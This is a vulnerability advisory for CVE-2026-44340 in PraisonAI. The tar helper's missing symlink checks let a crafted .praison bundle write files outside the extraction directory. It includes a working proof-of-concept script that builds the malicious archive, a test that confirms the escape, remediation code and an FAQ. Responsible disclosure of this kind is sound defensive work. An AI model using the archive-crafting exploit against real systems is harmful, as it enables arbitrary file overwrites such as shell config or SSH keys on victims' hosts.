CVE-2026-44340: PraisonAI: Symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`
Summary The safeextractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(destdir) without filter="data". A bundle that contains a symlink with a name inside destdir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes destdir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.
Affected paths
Every code path that calls safeextractall is exposed:
| Caller | File:line | |---|---| | praisonai recipe unpack | src/praisonai/praisonai/cli/features/recipe.py:1175 (introduced as the fix for GHSA-99g3-w8gr-x37c) | | LocalRegistry.unpack (recipe pull) | src/praisonai/praisonai/recipe/registry.py:413 | | Registry archive validation (publish) | src/praisonai/praisonai/recipe/registry.py:808 |
Root cause
recipe/registry.py:131-178:
python def safeextractall(tar: tarfile.TarFile, destdir: Path) -> None: ... for member in tar.getmembers(): ... memberpath = Path(member.name) if memberpath.isabsolute(): raise RegistryError(...) if '..' in memberpath.parts: raise RegistryError(...) resolved = (destresolved / memberpath).resolve() if not str(resolved).startswith(str(destresolved) + os.sep) and resolved != destresolved: raise RegistryError(...) # All members validated — safe to extract tar.extractall(destdir)
Three gaps:
1. The loop checks only member.name. member.linkname (the symlink / hardlink target) is not inspected. 2. member.issym() and member.islnk() are not used to refuse link members at all. 3. tar.extractall(destdir) runs without filter="data". On Python ≤ 3.13 the default is fullytrusted (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside destdir.
When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.
Reproduction
Tested in a disposable container against praisonai==4.6.35 (pip install praisonai, no other modifications).
makebundle.py:
python import io, json, tarfile manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode() with tarfile.open("malicious.praison", "w:gz") as tar: info = tarfile.TarInfo("manifest.json"); info.size = len(manifest) tar.addfile(info, io.BytesIO(manifest))
sym = tarfile.TarInfo("legit/escape") sym.type = tarfile.SYMTYPE sym.linkname = "/tmp/PWNED" tar.addfile(sym)
payload = b"PWNED via symlink-extraction bypass of safeextractall\n" pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload) tar.addfile(pf, io.BytesIO(payload))
directtest.py:
python import shutil, tarfile from pathlib import Path from praisonai.recipe.registry import safeextractall
DEST = Path("/work/recipesdirect") shutil.rmtree(DEST, ignoreerrors=True); DEST.mkdir(parents=True) Path("/tmp/PWNED").mkdir(parents=True, existok=True)
with tarfile.open("malicious.praison", "r:gz") as tar: safeextractall(tar, DEST)
assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape" print("PWNED:", Path("/tmp/PWNED/owned.txt").readtext())
Run:
bash docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c ' pip install -q praisonai && python makebundle.py && python directtest.py '
Observed output:
safeextractall returned cleanly PWNED: PWNED via symlink-extraction bypass of safeextractall
/tmp/PWNED/owned.txt exists after the call returns, written outside the destination directory the helper was asked to extract into.
Impact
Arbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious .praison bundle through any of the three callers above.
Realistic exploitation paths:
- A user runs praisonai recipe unpack ./<malicious>.praison after obtaining the bundle from a shared registry, a tutorial link, or direct messaging. - A user runs praisonai recipe pull <name> against a malicious or compromised registry. - A registry server processes an uploaded .praison bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv).
Where the agent process runs as a regular user, the attacker can overwrite shell config (.bashrc, .zshrc, .profile), SSH authorizedkeys, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some sudo-launched workflows), the attacker controls arbitrary system files.
This re-opens the recipe pull, recipe publish, and recipe unpack paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close.
Suggested remediation
Single-line fix at recipe/registry.py:178:
python tar.extractall(destdir, filter="data")
filter="data" (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses symlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class. If you also support older Python, add an explicit guard inside the existing per-member loop before tar.extractall:
python if member.issym() or member.islnk(): linktarget = (destresolved / memberpath.parent / member.linkname).resolve() if member.linkname.startswith("/") or not str(linktarget).startswith(str(destresolved) + os.sep): raise RegistryError( f"Refusing to extract link with target outside dest dir: " f"{member.name} -> {member.linkname}" )
Affected versions
praisonai >= 2.7.2 through current 4.6.35 (the helper exists at least back to the earliest path-traversal patch chain referenced in GHSA-99g3-w8gr-x37c). All releases that route extraction through safeextractall are exposed.
Disclosure
Reported privately via the project's GHSA workflow at https://github.com/MervinPraison/PraisonAI/security/advisories/new
-- Dhiral Vyas
Other sources
PraisonAI is a multi-agent teams system. Prior to version 4.6.37, the safeextractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(destdir) without filter="data". A bundle that contains a symlink with a name inside destdir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes destdir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem. This issue has been patched in version 4.6.37.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/PraisonAIto a version that resolves this vulnerability.Fixed in 4.6.37 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 4.6.37 - Configuration
Update _safe_extractall to call tar.extractall(dest_dir, filter="data") so symlink/hardlink extraction is rejected (where available on Python 3.12+; use the official PEP 706 backport if supporting older Python).
Python tarfile extraction (_safe_extractall in recipe/registry.py) tar.extractall filter argument = filter="data" - Configuration
In _safe_extractall's per-member loop, add validation for link members: if member.issym() or member.islnk(), inspect member.linkname and refuse extraction when linkname is absolute or when the resolved link target does not start with dest_dir (i.e., it would escape). Also ensure member.linkname is validated in addition to member.name.
Python tarfile extraction (_safe_extractall in recipe/registry.py) symlink/hardlink member validation = reject symlink/hardlink members whose linkname target escapes dest_dir
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44340?
CVE-2026-44340 has been classified as a high severity vulnerability due to its potential for unauthorized file extraction.
How do I fix CVE-2026-44340?
To fix CVE-2026-44340, update to PraisonAI version 4.6.37 or later, which contains the security patch.
What types of files are affected by CVE-2026-44340?
CVE-2026-44340 affects all archive files processed through the `_safe_extractall` function in PraisonAI versions prior to 4.6.37.
Can CVE-2026-44340 lead to data breaches?
Yes, CVE-2026-44340 could potentially allow attackers to write malicious files outside the intended directories, leading to data breaches.
Who is affected by CVE-2026-44340?
Any user or organization utilizing PraisonAI versions prior to 4.6.37 is affected by CVE-2026-44340.